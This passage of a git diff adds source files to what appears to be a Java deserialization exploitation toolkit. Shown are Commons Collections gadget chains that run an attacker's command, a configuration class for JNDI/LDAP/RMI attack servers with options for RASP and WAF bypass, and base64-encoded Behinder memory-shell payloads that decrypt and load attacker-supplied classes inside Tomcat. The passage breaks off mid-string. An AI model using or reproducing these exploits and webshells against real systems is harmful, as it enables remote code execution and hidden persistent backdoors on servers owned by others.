lazyMap2.put("zZ", 1); + + // Use the colliding Maps as keys in Hashtable + Hashtable hashtable = new Hashtable(); + hashtable.put(lazyMap1, 1); + hashtable.put(lazyMap2, 2); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + // Needed to ensure hash collision after previous manipulations + lazyMap2.remove("yy"); + + return hashtable; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK6.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK6.java new file mode 100644 index 0000000..3efed25 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK6.java @@ -0,0 +1,37 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InvokerTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + + +@Dependencies({"commons-collections:commons-collections:4.0"}) +@Authors({Authors.QI4L}) +public class CommonsCollectionsK6 implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); + HashMap map = new HashMap<>(); + Map lazyMap = LazyMap.lazyMap(map, new ConstantTransformer(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); + + HashMap expMap = new HashMap<>(); + expMap.put(tiedMapEntry, "QI4L"); + lazyMap.remove(templates); + + Reflections.setFieldValue(lazyMap, "factory", invokerTransformer); + + return expMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java new file mode 100644 index 0000000..cf30b6e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java @@ -0,0 +1,253 @@ +package com.qi4l.JYso.gadgets.Config; + +import com.beust.jcommander.JCommander; +import com.beust.jcommander.Parameter; +import com.beust.jcommander.UnixStyleUsageFormatter; +import com.qi4l.JYso.Starter; +import com.qi4l.JYso.gadgets.ObjectPayload; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.StringUtil; +import javassist.ClassPool; +import org.fusesource.jansi.Ansi; + +import java.util.*; + +public class Config { + public static String codeBase; + + @Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1) + public static String ip = "0.0.0.0"; + + @Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2) + public static int ldapPort = 1389; + + @Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2) + public static int ldapsPort = 1669; + + @Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2) + public static int rmiPort = 1099; + + @Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3) + public static int httpPort = 3456; + @Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command") + public static String command = "whoami"; + @Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5) + public static boolean showVersion; + @Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5) + public static boolean showGadgets; + @Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5) + public static String AESkey = "123"; + @Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5) + public static String USER = ""; + @Parameter(names = {"-tP", " --TLSProxy"}, help = true, description = "TLS port forwarding", order = 5) + public static boolean TLSProxy = false; + @Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5) + public static String PASSWD = ""; + @Parameter(names = {"-kF", " --keyFile"}, help = true, description = "Path to the TLS private key file", order = 5) + public static String keyFile = ""; + @Parameter(names = {"-cF", " --certFile"}, help = true, description = "Path to the TLS certificate file", order = 5) + public static String certFile = ""; + + @Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5) + public static boolean jndi = false; + public static String rhost; + public static String rport; + // 从HTTP外部获取路由值 + public static String ROUTE = ""; + // 从HTTP外部获取参数值 + public static String BCEL1 = ""; + // 恶意类是否继承 AbstractTranslet + public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false; + //是否使用反射绕过RASP + public static Boolean IS_OBSCURE = false; + // 各种方式的内存马映射的路径 + public static String URL_PATTERN = "/qi4l"; + // 是否使用落地文件的方式隐藏内存马 + public static Boolean HIDE_MEMORY_SHELL = false; + // 是否生成内存马文件 + public static Boolean GEN_MEM_SHELL = false; + // 内存马文件名 + public static String GEN_MEM_SHELL_FILENAME = ""; + // 落地文件姿势,1 charsets.jar 2 classes + public static int HIDE_MEMORY_SHELL_TYPE = 0; + // 内存马的密码MD5 + public static String PASSWORD = "0f359740bd1cda99"; + // Referer 校验 + public static String HEADER_KEY = "Referer"; + // 用于额外校验的 Http Header 值,默认值 https://QI4L.cn/ + public static String HEADER_VALUE = "https://QI4L.cn/"; + // 哥斯拉的 key,默认是 key + public static String GODZILLA_KEY = "3c6e0b8a9c15224a"; + // 密码原文 + public static String PASSWORD_ORI = "p@ssw0rd"; + // 命令执行回显时,传递执行命令的 Header 头 + public static String CMD_HEADER_STRING = "X-Token-Data"; + //内存马的类型 + public static String Shell_Type = "bx"; + //是否使用windows下Agent写入 + public static Boolean winAgent = false; + //是否使用Linux下Agent写入 + public static Boolean linAgent = false; + // 是否在序列化数据流中的 TC_RESET 中填充脏数据 + public static Boolean IS_DIRTY_IN_TC_RESET = false; + public static Boolean IS_UTF_Bypass = false; + public static Boolean IS_Hessian1 = false; + public static Boolean IS_Hessian2 = false; + public static Boolean IS_Xstream = false; + public static Boolean IS_Kryo = false; + public static Boolean IS_JYAML = false; + public static Boolean IS_JsonIO = false; + public static Boolean IS_YamlBeans = false; + public static Boolean IS_Castor = false; + public static Boolean IS_Jackson = false; + // 填充的脏数据长度 + public static int DIRTY_LENGTH_IN_TC_RESET = 0; + + // 是否使用UTF-8 Overlong Encoding Bypass waf + // jboss + public static Boolean IS_JBOSS_OBJECT_INPUT_STREAM = false; + // DefineClassFromParameter 的路径 + public static String PARAMETER = "dc"; + // 将输入直接写在文件里 + public static String FILE = "out.ser"; + public static Boolean WRITE_FILE = false; + public static Boolean BASE64 = false; + // 是否强制使用 org.apache.XXX.TemplatesImpl + public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false; + // 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader + public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false; + // ScriptEngineManager 是否为 RHINO 引擎 + public static boolean USING_RHINO = false; + public static ClassPool POOL = ClassPool.getDefault(); + // 不同类型内存马的父类/接口与其关键参数的映射 + public static HashMap KEY_METHOD_MAP = new HashMap<>(); + @Parameter(names = {"-h", " --help"}, help = true, description = "Show this help") + private static boolean help = false; + + static { + // Servlet 型内存马,关键方法 service + KEY_METHOD_MAP.put("javax.servlet.Servlet", "service"); + // Filter 型内存马,关键方法 doFilter + KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter"); + // Listener 型内存马,通常使用 ServletRequestListener, 关键方法 requestInitializedHandle + KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle"); + // Websocket 型内存马,关键方法 onMessage + KEY_METHOD_MAP.put("javax.websocket.MessageHandler$Whole", "onMessage"); + // Tomcat Upgrade 型内存马,关键方法 accept + KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept"); + // Tomcat Executor 型内存马,关键方法 execute + KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute"); + // Spring Interceptor 型内存马,关键方法 preHandle + KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle"); + // Webflux 内存马 + KEY_METHOD_MAP.put("org.springframework.web.server.WebFilter", "executePayload"); + } + + public static void applyCmdArgs(String[] args) { + //process cmd args + JCommander jc = JCommander.newBuilder() + .addObject(new Config()) + .build(); + try { + jc.parse(args); + } catch (Exception e) { + System.out.println("Error: " + e.getMessage() + "\n"); + help = true; + } + + if (showGadgets) { + final List> payloadClasses = + new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); + Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize + + final List rows = new LinkedList(); + rows.add(new String[]{"Payload", "Authors", "Dependencies"}); + rows.add(new String[]{"-------", "-------", "------------"}); + for (Class payloadClass : payloadClasses) { + rows.add(new String[]{ + payloadClass.getSimpleName(), + StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), + StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") + }); + } + + final List lines = StringUtil.formatTable(rows); + + for (String line : lines) { + System.out.println(" " + line); + } + + System.exit(0); + } + + if (showVersion) { + System.exit(0); + } + + //获取当前 Jar 的名称 + String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath(); + jc.setProgramName("java -jar JYso.jar"); + jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); + + if (help) { + jc.usage(); //if -h specified, show help and exit + System.exit(0); + } + + // 特别注意:最后一个反斜杠不能少啊 + Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/"; + } + + public static void init() { + // Servlet 型内存马,关键方法 service + KEY_METHOD_MAP.put("javax.servlet.Servlet", "service"); + // Filter 型内存马,关键方法 doFilter + KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter"); + // Listener 型内存马,通常使用 ServletRequestListener, 关键方法 requestInitializedHandle + KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle"); + // Websocket 型内存马,关键方法 onMessage + KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage"); + // Tomcat Upgrade 型内存马,关键方法 accept + KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept"); + // Tomcat Executor 型内存马,关键方法 execute + KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute"); + // Spring Interceptor 型内存马,关键方法 preHandle + KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle"); + } + + public static void logo() { + String logo = "" + + " ┏┳┓┏ \n" + + " ┃┗┫┏┏┓ \n" + + " ┗┛┗┛┛┗┛ "; + + // 高亮颜色代码(不包括黑色) + Ansi.Color[] colors = { + Ansi.Color.RED, + Ansi.Color.GREEN, + Ansi.Color.YELLOW, + Ansi.Color.BLUE, + Ansi.Color.MAGENTA, + Ansi.Color.CYAN, + Ansi.Color.WHITE + }; + + Random random = new Random(); + + StringBuilder coloredLogo = new StringBuilder(); + + for (char c : logo.toCharArray()) { + if (c != ' ' && c != '\n') { + // 选择一个随机的高亮颜色 + Ansi.Color color = colors[random.nextInt(colors.length)]; + coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset()); + } else { + // 保持空格和换行符 + coloredLogo.append(c); + } + } + + System.out.println(coloredLogo); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/HookPointConfig.java b/src/main/java/com/qi4l/JYso/gadgets/Config/HookPointConfig.java new file mode 100644 index 0000000..4071d0c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/HookPointConfig.java @@ -0,0 +1,22 @@ +package com.qi4l.JYso.gadgets.Config; + +import java.util.ArrayList; + +public class HookPointConfig { + + public static ArrayList BasicServletHook = new ArrayList(); + + public static ArrayList TomcatFilterChainHook = new ArrayList(); + + + static { + BasicServletHook.add("javax.servlet.http.HttpServlet"); + BasicServletHook.add("service"); + BasicServletHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); + + TomcatFilterChainHook.add("org.apache.catalina.core.ApplicationFilterChain"); + TomcatFilterChainHook.add("doFilter"); + TomcatFilterChainHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/MemShellPayloads.java b/src/main/java/com/qi4l/JYso/gadgets/Config/MemShellPayloads.java new file mode 100644 index 0000000..e680a23 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/MemShellPayloads.java @@ -0,0 +1,136 @@ +package com.qi4l.JYso.gadgets.Config; + +public class MemShellPayloads { + public static String BEHINDER_SHELL_FOR_TOMCAT_OBSCURE = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJCQlPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcDsKCQkJdHJ5IHsKCQkJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJCQlpZiAoIShyZXF1ZXN0RmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVxdWVzdC5nZXRDbGFzcygpKSkpIHsKCQkJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCXdoaWxlICh0cnVlKSB7CgkJCQkJCQkJaWYgKHJlcXVlc3RGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXF1ZXN0LmdldENsYXNzKCkpKSBicmVhazsKCQkJCQkJCQlsYXN0UmVxdWVzdCA9IGdldE1ldGhvZEFuZEludm9rZShsYXN0UmVxdWVzdCwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlpZiAoIShyZXNwb25zZUZhY2FkZUNsYXNzLmlzQXNzaWduYWJsZUZyb20obGFzdFJlc3BvbnNlLmdldENsYXNzKCkpKSkgewoJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRSZXNwb25zZSIsIG51bGwsIG51bGwpOwoJCQkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJCQlpZiAocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkgYnJlYWs7CgkJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKGxhc3RSZXNwb25zZSwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCX0KCgkJCQkJT2JqZWN0IG1ldGhvZCA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRNZXRob2QiLCBudWxsLCBudWxsKTsKCQkJCQlpZiAobWV0aG9kICE9IG51bGwgJiYgbWV0aG9kLnRvU3RyaW5nKCkuZXF1YWxzKCJQT1NUIikpIHsKCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgc2Vzc2lvbiAgICAgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlcXVlc3QsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIGxhc3RSZXF1ZXN0KTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoKCQkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihnZXRNZXRob2RBbmRJbnZva2UoZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlYWRlciIsIG51bGwsIG51bGwpLCAicmVhZExpbmUiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJaWYgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkgewoJCQkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgIGNveW90ZVJlcXVlc3QgPSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUobGFzdFJlcXVlc3QsICJyZXF1ZXN0IiksICJjb3lvdGVSZXF1ZXN0Iik7CgkJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICBwYXJhbWV0ZXJzICAgID0gZ2V0TWV0aG9kQW5kSW52b2tlKGNveW90ZVJlcXVlc3QsICJnZXRQYXJhbWV0ZXJzIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQlqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCBwYXJhbU1hcCAgICAgID0gKGphdmEudXRpbC5MaW5rZWRIYXNoTWFwKSBnZXRGaWVsZFZhbHVlKHBhcmFtZXRlcnMsICJwYXJhbUhhc2hWYWx1ZXMiKTsKCQkJCQkJCWphdmEudXRpbC5JdGVyYXRvciAgICAgIGl0ZXJhdG9yICAgICAgPSBwYXJhbU1hcC5lbnRyeVNldCgpLml0ZXJhdG9yKCk7CgkJCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7CgkJCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsKCQkJCQkJCQlTdHJpbmcgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOwoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCkgbmV4dC5nZXRWYWx1ZSgpOwoJCQkJCQkJCWlmIChwYXJhbVZhbHVlTGlzdC5zaXplKCkgPT0gMCkgewoJCQkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7CgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpLmFwcGVuZCgiPSIpLmFwcGVuZChwYXJhbVZhbHVlTGlzdC5nZXQoMCkpOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlub0xvZyhsYXN0UmVxdWVzdCk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlieXRlW10gZXZpbGNsYXNzX2J5dGUgPSBjLmRvRmluYWwoYmFzZTY0RGVjb2RlKHBheWxvYWQudG9TdHJpbmcoKSkpOwoJCQkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7CgkJCQkJCWV2aWxjbGFzcy5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CgkJCQkJfQoJCQkJfQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQl9CgkJfQ=="; + + public static String BEHINDER_SHELL_FOR_TOMCAT = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJCQlPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcDsKCQkJdHJ5IHsKCQkJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJCQlpZiAoIShyZXF1ZXN0RmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVxdWVzdC5nZXRDbGFzcygpKSkpIHsKCQkJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCXdoaWxlICh0cnVlKSB7CgkJCQkJCQkJaWYgKHJlcXVlc3RGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXF1ZXN0LmdldENsYXNzKCkpKSBicmVhazsKCQkJCQkJCQlsYXN0UmVxdWVzdCA9IGdldE1ldGhvZEFuZEludm9rZShsYXN0UmVxdWVzdCwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlpZiAoIShyZXNwb25zZUZhY2FkZUNsYXNzLmlzQXNzaWduYWJsZUZyb20obGFzdFJlc3BvbnNlLmdldENsYXNzKCkpKSkgewoJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRSZXNwb25zZSIsIG51bGwsIG51bGwpOwoJCQkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJCQlpZiAocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkgYnJlYWs7CgkJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKGxhc3RSZXNwb25zZSwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCX0KCgkJCQkJT2JqZWN0IG1ldGhvZCA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRNZXRob2QiLCBudWxsLCBudWxsKTsKCQkJCQlpZiAobWV0aG9kICE9IG51bGwgJiYgbWV0aG9kLnRvU3RyaW5nKCkuZXF1YWxzKCJQT1NUIikpIHsKCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgc2Vzc2lvbiAgICAgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlcXVlc3QsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIGxhc3RSZXF1ZXN0KTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoKCQkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihnZXRNZXRob2RBbmRJbnZva2UoZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlYWRlciIsIG51bGwsIG51bGwpLCAicmVhZExpbmUiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJaWYgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkgewoJCQkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgIGNveW90ZVJlcXVlc3QgPSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUobGFzdFJlcXVlc3QsICJyZXF1ZXN0IiksICJjb3lvdGVSZXF1ZXN0Iik7CgkJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICBwYXJhbWV0ZXJzICAgID0gZ2V0TWV0aG9kQW5kSW52b2tlKGNveW90ZVJlcXVlc3QsICJnZXRQYXJhbWV0ZXJzIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQlqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCBwYXJhbU1hcCAgICAgID0gKGphdmEudXRpbC5MaW5rZWRIYXNoTWFwKSBnZXRGaWVsZFZhbHVlKHBhcmFtZXRlcnMsICJwYXJhbUhhc2hWYWx1ZXMiKTsKCQkJCQkJCWphdmEudXRpbC5JdGVyYXRvciAgICAgIGl0ZXJhdG9yICAgICAgPSBwYXJhbU1hcC5lbnRyeVNldCgpLml0ZXJhdG9yKCk7CgkJCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7CgkJCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsKCQkJCQkJCQlTdHJpbmcgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOwoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCkgbmV4dC5nZXRWYWx1ZSgpOwoJCQkJCQkJCWlmIChwYXJhbVZhbHVlTGlzdC5zaXplKCkgPT0gMCkgewoJCQkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7CgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpLmFwcGVuZCgiPSIpLmFwcGVuZChwYXJhbVZhbHVlTGlzdC5nZXQoMCkpOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlub0xvZyhsYXN0UmVxdWVzdCk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphd